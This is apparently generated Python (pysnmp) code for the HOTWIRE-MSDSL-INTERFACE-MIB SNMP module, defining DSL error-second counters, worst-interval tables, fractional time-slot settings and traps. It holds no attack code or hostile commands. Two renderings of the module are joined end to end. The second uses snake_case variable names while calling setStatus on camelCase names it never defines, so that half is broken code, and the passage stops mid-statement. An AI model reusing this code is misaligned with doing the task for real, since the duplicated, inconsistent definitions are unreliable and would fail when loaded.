msdslG703WorstIntervalTable = MibTable((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 14, 14), ) if mibBuilder.loadTexts: msdslG703WorstIntervalTable.setStatus('mandatory') msdslG703WorstIntervalEntry = MibTableRow((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 14, 14, 1), ).setIndexNames((0, "HOTWIRE-MSDSL-INTERFACE-MIB", "msdslG703WorstIntervalIfIndex")) if mibBuilder.loadTexts: msdslG703WorstIntervalEntry.setStatus('mandatory') msdslG703WorstIntervalIfIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 14, 14, 1, 1), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 2147483647))).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslG703WorstIntervalIfIndex.setStatus('mandatory') msdslG703WorstIntervalESs = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 14, 14, 1, 2), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslG703WorstIntervalESs.setStatus('mandatory') msdslG703WorstIntervalUASs = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 14, 14, 1, 3), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslG703WorstIntervalUASs.setStatus('mandatory') msdslG703WorstIntervalSESs = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 14, 14, 1, 4), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslG703WorstIntervalSESs.setStatus('mandatory') msdslG703WorstIntervalBESs = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 14, 14, 1, 5), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslG703WorstIntervalBESs.setStatus('mandatory') msdslG703WorstIntervalCSSs = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 14, 14, 1, 6), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslG703WorstIntervalCSSs.setStatus('mandatory') msdslG703WorstIntervalLOFC = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 14, 14, 1, 7), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslG703WorstIntervalLOFC.setStatus('mandatory') msdslFracTable = MibTable((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 15, 28), ) if mibBuilder.loadTexts: msdslFracTable.setStatus('mandatory') msdslFracEntry = MibTableRow((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 15, 28, 1), ).setIndexNames((0, "HOTWIRE-MSDSL-INTERFACE-MIB", "msdslFracPortIndex"), (0, "HOTWIRE-MSDSL-INTERFACE-MIB", "msdslFracPortTS")) if mibBuilder.loadTexts: msdslFracEntry.setStatus('mandatory') msdslFracPortIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 15, 28, 1, 1), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslFracPortIndex.setStatus('mandatory') msdslFracPortTS = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 15, 28, 1, 2), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 31))).setMaxAccess("readwrite") if mibBuilder.loadTexts: msdslFracPortTS.setStatus('mandatory') msdslFracPortIfIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 15, 28, 1, 3), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: msdslFracPortIfIndex.setStatus('mandatory') msdslFracPortIfTS = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 15, 28, 1, 4), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 32))).setMaxAccess("readwrite") if mibBuilder.loadTexts: msdslFracPortIfTS.setStatus('mandatory') msdslFracPortVoiceData = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 15, 28, 1, 5), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("voice", 1), ("data", 2)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: msdslFracPortVoiceData.setStatus('mandatory') msdslPortConfigAllocMethodTable = MibTable((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 15, 29), ) if mibBuilder.loadTexts: msdslPortConfigAllocMethodTable.setStatus('mandatory') msdslPortConfigAllocMethodEntry = MibTableRow((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 15, 29, 1), ).setIndexNames((0, "HOTWIRE-MSDSL-INTERFACE-MIB", "msdslPortConfigAllocMethodIfIndex")) if mibBuilder.loadTexts: msdslPortConfigAllocMethodEntry.setStatus('mandatory') msdslPortConfigAllocMethodIfIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 15, 29, 1, 1), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: msdslPortConfigAllocMethodIfIndex.setStatus('mandatory') msdslPortConfigAllocMethod = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 15, 29, 1, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5))).clone(namedValues=NamedValues(("ds1ByPass", 1), ("ds1CrossConn", 2), ("ds0CrossConn", 3), ("notAssigned", 4), ("disabled", 5)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: msdslPortConfigAllocMethod.setStatus('mandatory') msdslMarginLow = NotificationType((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1) + (0,3)).setObjects(("IF-MIB", "ifIndex")) msdslMarginNormal = NotificationType((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1) + (0,103)).setObjects(("IF-MIB", "ifIndex")) msdslErrorRateHigh = NotificationType((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1) + (0,4)).setObjects(("IF-MIB", "ifIndex")) msdslErrorRateNormal = NotificationType((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1) + (0,104)).setObjects(("IF-MIB", "ifIndex")) msdslTestOver = NotificationType((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1) + (0,106)).setObjects(("IF-MIB", "ifIndex")) msdslNTUTypeMismatch = NotificationType((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1) + (0,7)).setObjects(("IF-MIB", "ifIndex")) mibBuilder.exportSymbols("HOTWIRE-MSDSL-INTERFACE-MIB", msdsldsx1WorstIntervalUASs=msdsldsx1WorstIntervalUASs, msdslFarEndTotalFEBEs=msdslFarEndTotalFEBEs, msdslFarEndCurrentPerfTxPwr=msdslFarEndCurrentPerfTxPwr, msdslFarEndWorstIntervalEntry=msdslFarEndWorstIntervalEntry, msdslPortConfigAllocMethodIfIndex=msdslPortConfigAllocMethodIfIndex, msdslNTUTypeMismatch=msdslNTUTypeMismatch, msdslPortConfigAllocMethod=msdslPortConfigAllocMethod, msdslWorstIntervalEntry=msdslWorstIntervalEntry, msdslFarEndIntervalPerfNumber=msdslFarEndIntervalPerfNumber, msdslFarEndCurrentPerfEntry=msdslFarEndCurrentPerfEntry, msdslFarEndWorstIntervalSESs=msdslFarEndWorstIntervalSESs, msdslPortConfigAllocMethodEntry=msdslPortConfigAllocMethodEntry, msdslG703WorstIntervalCSSs=msdslG703WorstIntervalCSSs, msdslFarEndIntervalEntry=msdslFarEndIntervalEntry, msdslIntervalPerfRxGain=msdslIntervalPerfRxGain, msdslFarEndCurrentSESs=msdslFarEndCurrentSESs, msdslMarginNormal=msdslMarginNormal, msdslFarEndIntervalPerf=msdslFarEndIntervalPerf, msdslIntervalPerfTxPwr=msdslIntervalPerfTxPwr, msdslFarEndCurrentEntry=msdslFarEndCurrentEntry, msdslG703WorstIntervalIfIndex=msdslG703WorstIntervalIfIndex, msdslFarEndCurrent=msdslFarEndCurrent, msdslTotal=msdslTotal, msdslFarEndIntervalPerfTxPwr=msdslFarEndIntervalPerfTxPwr, msdsldsx1WorstIntervalCSSs=msdsldsx1WorstIntervalCSSs, msdslG703WorstIntervalTable=msdslG703WorstIntervalTable, msdslFarEndTotalSESs=msdslFarEndTotalSESs, msdslTotalESs=msdslTotalESs, msdslWorstIntervalSESs=msdslWorstIntervalSESs, msdslIntervalSESs=msdslIntervalSESs, msdslFarEndWorstInterval=msdslFarEndWorstInterval, msdslFarEndTotalTable=msdslFarEndTotalTable, msdslG703WorstIntervalBESs=msdslG703WorstIntervalBESs, msdslFarEndCurrentPerfIfIndex=msdslFarEndCurrentPerfIfIndex, msdslCurrentPerf=msdslCurrentPerf, msdslCurrentPerfTxPwr=msdslCurrentPerfTxPwr, msdsldsx1WorstIntervalLOFC=msdsldsx1WorstIntervalLOFC, msdslConfiguration=msdslConfiguration, msdslFarEndTotal=msdslFarEndTotal, msdslFarEndCurrentFEBEs=msdslFarEndCurrentFEBEs, msdslTimeElapsed=msdslTimeElapsed, msdslFarEndInterval=msdslFarEndInterval, msdslIntervalPerfEntry=msdslIntervalPerfEntry, msdslCurrentPerfMargin=msdslCurrentPerfMargin, msdslG703WorstIntervalUASs=msdslG703WorstIntervalUASs, msdslCurrentPerfRxGain=msdslCurrentPerfRxGain, msdslFarEndIntervalPerfMargin=msdslFarEndIntervalPerfMargin, msdslFarEndIntervalNumber=msdslFarEndIntervalNumber, msdslIntervalEntry=msdslIntervalEntry, msdslFarEndTotalESs=msdslFarEndTotalESs, msdslFarEndWorstIntervalFEBEs=msdslFarEndWorstIntervalFEBEs, msdslFarEndIntervalTable=msdslFarEndIntervalTable, msdslIntervalPerf=msdslIntervalPerf, msdslFracPortIndex=msdslFracPortIndex, msdslTestOver=msdslTestOver, msdslFracPortVoiceData=msdslFracPortVoiceData, msdslFarEndCurrentPerfMargin=msdslFarEndCurrentPerfMargin, msdslFarEndIntervalPerfIfIndex=msdslFarEndIntervalPerfIfIndex, msdslFarEndIntervalPerfTable=msdslFarEndIntervalPerfTable, msdslFracTable=msdslFracTable, msdslIntervalFEBEs=msdslIntervalFEBEs, msdsldsx1WorstIntervalEntry=msdsldsx1WorstIntervalEntry, msdslCurrentTable=msdslCurrentTable, msdsldsx1WorstIntervalESs=msdsldsx1WorstIntervalESs, msdslFarEndCurrentPerf=msdslFarEndCurrentPerf, msdsldsx1WorstIntervalIfIndex=msdsldsx1WorstIntervalIfIndex, msdslWorstInterval=msdslWorstInterval, msdslFarEndIntervalPerfRxGain=msdslFarEndIntervalPerfRxGain, msdslTotalEntry=msdslTotalEntry, msdslFarEndWorstIntervalTable=msdslFarEndWorstIntervalTable, msdslFarEndWorstIntervalESs=msdslFarEndWorstIntervalESs, msdslG703WorstIntervalLOFC=msdslG703WorstIntervalLOFC, msdslCurrentESs=msdslCurrentESs, msdslFarEndTotalIfIndex=msdslFarEndTotalIfIndex, msdslFracPortTS=msdslFracPortTS, msdslFarEndIntervalPerfEntry=msdslFarEndIntervalPerfEntry, msdslFarEndCurrentIfIndex=msdslFarEndCurrentIfIndex, msdslErrEventsCounter=msdslErrEventsCounter, msdslFarEndTotalEntry=msdslFarEndTotalEntry, msdslTotalTable=msdslTotalTable, msdslErrValidIntervals=msdslErrValidIntervals, msdslFracPortIfTS=msdslFracPortIfTS, msdslCurrentPerfIfIndex=msdslCurrentPerfIfIndex, msdslTotalFEBEs=msdslTotalFEBEs, msdslDevice=msdslDevice, msdslFarEndIntervalESs=msdslFarEndIntervalESs, msdslIntervalPerfTable=msdslIntervalPerfTable, msdslG703WorstInterval=msdslG703WorstInterval, msdslFarEndCurrentPerfTable=msdslFarEndCurrentPerfTable, msdslMarginLow=msdslMarginLow, msdslIntervalPerfIfIndex=msdslIntervalPerfIfIndex, msdslIntervalIfIndex=msdslIntervalIfIndex, msdslIntervalESs=msdslIntervalESs, msdslFarEndCurrentPerfRxGain=msdslFarEndCurrentPerfRxGain, msdslErrorRateNormal=msdslErrorRateNormal, msdslIntervalNumber=msdslIntervalNumber, msdslIntervalPerfMargin=msdslIntervalPerfMargin, msdslIntervalTable=msdslIntervalTable, msdslFracEntry=msdslFracEntry, msdslPerfPayloadRate=msdslPerfPayloadRate, msdslFarEndIntervalIfIndex=msdslFarEndIntervalIfIndex, msdslFarEndWorstIntervalIfIndex=msdslFarEndWorstIntervalIfIndex, msdslFarEndCurrentTable=msdslFarEndCurrentTable, msdslWorstIntervalESs=msdslWorstIntervalESs, msdslCurrentSESs=msdslCurrentSESs, msdsldsx1WorstIntervalBESs=msdsldsx1WorstIntervalBESs, msdslErrorRateHigh=msdslErrorRateHigh, msdslWorstIntervalTable=msdslWorstIntervalTable, msdslTotalSESs=msdslTotalSESs, msdslCurrentPerfEntry=msdslCurrentPerfEntry, msdslG703WorstIntervalSESs=msdslG703WorstIntervalSESs, msdslFarEndIntervalSESs=msdslFarEndIntervalSESs, msdslInterval=msdslInterval, msdslCurrentFEBEs=msdslCurrentFEBEs, msdslG703WorstIntervalEntry=msdslG703WorstIntervalEntry, msdslCurrent=msdslCurrent, msdslTotalIfIndex=msdslTotalIfIndex, msdslIntervalPerfNumber=msdslIntervalPerfNumber, msdslG703WorstIntervalESs=msdslG703WorstIntervalESs, msdsldsx1WorstIntervalSESs=msdsldsx1WorstIntervalSESs, msdslCurrentIfIndex=msdslCurrentIfIndex, msdslErrTimeElapsed=msdslErrTimeElapsed, msdsldsx1WorstInterval=msdsldsx1WorstInterval, msdsldsx1WorstIntervalTable=msdsldsx1WorstIntervalTable, msdslPortConfigAllocMethodTable=msdslPortConfigAllocMethodTable, msdslFarEndIntervalFEBEs=msdslFarEndIntervalFEBEs, msdslCurrentEntry=msdslCurrentEntry, msdslWorstIntervalIfIndex=msdslWorstIntervalIfIndex, msdslValidIntervals=msdslValidIntervals, msdslCurrentPerfTable=msdslCurrentPerfTable, msdslFarEndCurrentESs=msdslFarEndCurrentESs, msdslWorstIntervalFEBEs=msdslWorstIntervalFEBEs, msdslFracPortIfIndex=msdslFracPortIfIndex)
(object_identifier, integer, octet_string) = mibBuilder.importSymbols('ASN1', 'ObjectIdentifier', 'Integer', 'OctetString') (named_values,) = mibBuilder.importSymbols('ASN1-ENUMERATION', 'NamedValues') (single_value_constraint, constraints_intersection, constraints_union, value_size_constraint, value_range_constraint) = mibBuilder.importSymbols('ASN1-REFINEMENT', 'SingleValueConstraint', 'ConstraintsIntersection', 'ConstraintsUnion', 'ValueSizeConstraint', 'ValueRangeConstraint') (if_index,) = mibBuilder.importSymbols('IF-MIB', 'ifIndex') (pdnmsdsl,) = mibBuilder.importSymbols('PDN-HEADER-MIB', 'pdnmsdsl') (notification_group, module_compliance) = mibBuilder.importSymbols('SNMPv2-CONF', 'NotificationGroup', 'ModuleCompliance') (gauge32, ip_address, object_identity, notification_type, notification_type, integer32, time_ticks, iso, enterprises, bits, unsigned32, mib_identifier, counter32, mib_scalar, mib_table, mib_table_row, mib_table_column, counter64, module_identity) = mibBuilder.importSymbols('SNMPv2-SMI', 'Gauge32', 'IpAddress', 'ObjectIdentity', 'NotificationType', 'NotificationType', 'Integer32', 'TimeTicks', 'iso', 'enterprises', 'Bits', 'Unsigned32', 'MibIdentifier', 'Counter32', 'MibScalar', 'MibTable', 'MibTableRow', 'MibTableColumn', 'Counter64', 'ModuleIdentity') (textual_convention, display_string) = mibBuilder.importSymbols('SNMPv2-TC', 'TextualConvention', 'DisplayString') msdsl_device = mib_identifier((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1)) msdsl_current = mib_identifier((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 1)) msdsl_interval = mib_identifier((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 2)) msdsl_worst_interval = mib_identifier((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 3)) msdsl_total = mib_identifier((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 4)) msdsl_far_end_current = mib_identifier((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 5)) msdsl_far_end_interval = mib_identifier((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 6)) msdsl_far_end_worst_interval = mib_identifier((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 7)) msdsl_far_end_total = mib_identifier((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 8)) msdsl_current_perf = mib_identifier((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 9)) msdsl_interval_perf = mib_identifier((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 10)) msdsl_far_end_current_perf = mib_identifier((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 11)) msdsl_far_end_interval_perf = mib_identifier((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 12)) msdsldsx1_worst_interval = mib_identifier((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 13)) msdsl_g703_worst_interval = mib_identifier((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 14)) msdsl_configuration = mib_identifier((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 15)) msdsl_current_table = mib_table((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 1, 1)) if mibBuilder.loadTexts: msdslCurrentTable.setStatus('mandatory') msdsl_current_entry = mib_table_row((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 1, 1, 1)).setIndexNames((0, 'HOTWIRE-MSDSL-INTERFACE-MIB', 'msdslCurrentIfIndex')) if mibBuilder.loadTexts: msdslCurrentEntry.setStatus('mandatory') msdsl_current_if_index = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 1, 1, 1, 1), integer32().subtype(subtypeSpec=value_range_constraint(1, 2147483647))).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslCurrentIfIndex.setStatus('mandatory') msdsl_current_e_ss = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 1, 1, 1, 2), gauge32()).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslCurrentESs.setStatus('mandatory') msdsl_current_se_ss = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 1, 1, 1, 3), gauge32()).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslCurrentSESs.setStatus('mandatory') msdsl_current_feb_es = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 1, 1, 1, 4), gauge32()).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslCurrentFEBEs.setStatus('mandatory') msdsl_err_events_counter = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 1, 1, 1, 5), integer32().subtype(subtypeSpec=value_range_constraint(0, 65535))).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslErrEventsCounter.setStatus('mandatory') msdsl_err_time_elapsed = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 1, 1, 1, 6), integer32().subtype(subtypeSpec=value_range_constraint(0, 899))).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslErrTimeElapsed.setStatus('mandatory') msdsl_err_valid_intervals = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 1, 1, 1, 7), integer32().subtype(subtypeSpec=value_range_constraint(0, 96))).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslErrValidIntervals.setStatus('mandatory') msdsl_interval_table = mib_table((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 2, 2)) if mibBuilder.loadTexts: msdslIntervalTable.setStatus('mandatory') msdsl_interval_entry = mib_table_row((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 2, 2, 1)).setIndexNames((0, 'HOTWIRE-MSDSL-INTERFACE-MIB', 'msdslIntervalIfIndex'), (0, 'HOTWIRE-MSDSL-INTERFACE-MIB', 'msdslIntervalNumber')) if mibBuilder.loadTexts: msdslIntervalEntry.setStatus('mandatory') msdsl_interval_if_index = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 2, 2, 1, 1), integer32().subtype(subtypeSpec=value_range_constraint(1, 2147483647))).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslIntervalIfIndex.setStatus('mandatory') msdsl_interval_number = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 2, 2, 1, 2), integer32().subtype(subtypeSpec=value_range_constraint(1, 96))).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslIntervalNumber.setStatus('mandatory') msdsl_interval_e_ss = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 2, 2, 1, 3), gauge32()).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslIntervalESs.setStatus('mandatory') msdsl_interval_se_ss = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 2, 2, 1, 4), gauge32()).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslIntervalSESs.setStatus('mandatory') msdsl_interval_feb_es = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 2, 2, 1, 5), gauge32()).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslIntervalFEBEs.setStatus('mandatory') msdsl_worst_interval_table = mib_table((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 3, 3)) if mibBuilder.loadTexts: msdslWorstIntervalTable.setStatus('mandatory') msdsl_worst_interval_entry = mib_table_row((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 3, 3, 1)).setIndexNames((0, 'HOTWIRE-MSDSL-INTERFACE-MIB', 'msdslWorstIntervalIfIndex')) if mibBuilder.loadTexts: msdslWorstIntervalEntry.setStatus('mandatory') msdsl_worst_interval_if_index = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 3, 3, 1, 1), integer32().subtype(subtypeSpec=value_range_constraint(1, 2147483647))).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslWorstIntervalIfIndex.setStatus('mandatory') msdsl_worst_interval_e_ss = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 3, 3, 1, 2), integer32().subtype(subtypeSpec=value_range_constraint(1, 96))).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslWorstIntervalESs.setStatus('mandatory') msdsl_worst_interval_se_ss = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 3, 3, 1, 3), integer32().subtype(subtypeSpec=value_range_constraint(1, 96))).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslWorstIntervalSESs.setStatus('mandatory') msdsl_worst_interval_feb_es = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 3, 3, 1, 4), integer32().subtype(subtypeSpec=value_range_constraint(1, 96))).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslWorstIntervalFEBEs.setStatus('mandatory') msdsl_total_table = mib_table((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 4, 4)) if mibBuilder.loadTexts: msdslTotalTable.setStatus('mandatory') msdsl_total_entry = mib_table_row((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 4, 4, 1)).setIndexNames((0, 'HOTWIRE-MSDSL-INTERFACE-MIB', 'msdslTotalIfIndex')) if mibBuilder.loadTexts: msdslTotalEntry.setStatus('mandatory') msdsl_total_if_index = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 4, 4, 1, 1), integer32().subtype(subtypeSpec=value_range_constraint(1, 2147483647))).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslTotalIfIndex.setStatus('mandatory') msdsl_total_e_ss = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 4, 4, 1, 2), gauge32()).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslTotalESs.setStatus('mandatory') msdsl_total_se_ss = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 4, 4, 1, 3), gauge32()).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslTotalSESs.setStatus('mandatory') msdsl_total_feb_es = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 4, 4, 1, 4), gauge32()).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslTotalFEBEs.setStatus('mandatory') msdsl_far_end_current_table = mib_table((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 5, 5)) if mibBuilder.loadTexts: msdslFarEndCurrentTable.setStatus('mandatory') msdsl_far_end_current_entry = mib_table_row((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 5, 5, 1)).setIndexNames((0, 'HOTWIRE-MSDSL-INTERFACE-MIB', 'msdslFarEndCurrentIfIndex')) if mibBuilder.loadTexts: msdslFarEndCurrentEntry.setStatus('mandatory') msdsl_far_end_current_if_index = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 5, 5, 1, 1), integer32().subtype(subtypeSpec=value_range_constraint(1, 2147483647))).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslFarEndCurrentIfIndex.setStatus('mandatory') msdsl_far_end_current_e_ss = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 5, 5, 1, 2), gauge32()).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslFarEndCurrentESs.setStatus('mandatory') msdsl_far_end_current_se_ss = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 5, 5, 1, 3), gauge32()).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslFarEndCurrentSESs.setStatus('mandatory') msdsl_far_end_current_feb_es = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 5, 5, 1, 4), gauge32()).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslFarEndCurrentFEBEs.setStatus('mandatory') msdsl_far_end_interval_table = mib_table((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 6, 6)) if mibBuilder.loadTexts: msdslFarEndIntervalTable.setStatus('mandatory') msdsl_far_end_interval_entry = mib_table_row((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 6, 6, 1)).setIndexNames((0, 'HOTWIRE-MSDSL-INTERFACE-MIB', 'msdslFarEndIntervalIfIndex'), (0, 'HOTWIRE-MSDSL-INTERFACE-MIB', 'msdslFarEndIntervalNumber')) if mibBuilder.loadTexts: msdslFarEndIntervalEntry.setStatus('mandatory') msdsl_far_end_interval_if_index = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 6, 6, 1, 1), integer32().subtype(subtypeSpec=value_range_constraint(1, 2147483647))).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslFarEndIntervalIfIndex.setStatus('mandatory') msdsl_far_end_interval_number = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 6, 6, 1, 2), integer32().subtype(subtypeSpec=value_range_constraint(1, 96))).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslFarEndIntervalNumber.setStatus('mandatory') msdsl_far_end_interval_e_ss = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 6, 6, 1, 3), gauge32()).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslFarEndIntervalESs.setStatus('mandatory') msdsl_far_end_interval_se_ss = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 6, 6, 1, 4), gauge32()).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslFarEndIntervalSESs.setStatus('mandatory') msdsl_far_end_interval_feb_es = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 6, 6, 1, 5), gauge32()).setMaxAccess('readonly') if mibBuilder.loadTexts: msdslFarEndIntervalFEBEs.setStatus('mandatory') msdsl_far_end_worst_interval_table = mib_table((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 7, 7)) if mibBuilder.loadTexts: msdslFarEndWorstIntervalTable.setStatus('mandatory') msdsl_far_end_worst_interval_entry = mib_table_row((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 7, 7, 1)).setIndexNames((0, 'HOTWIRE-MSDSL-INTERFACE-MIB', 'msdslFarEndWorstIntervalIfIndex')) if mibBuilder.loadTexts: msdslFarEndWorstIntervalEntry.setStatus('mandatory') msdsl_far_end_worst_interval_if_index = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 2, 6, 15, 1, 7, 7, 1, 1), 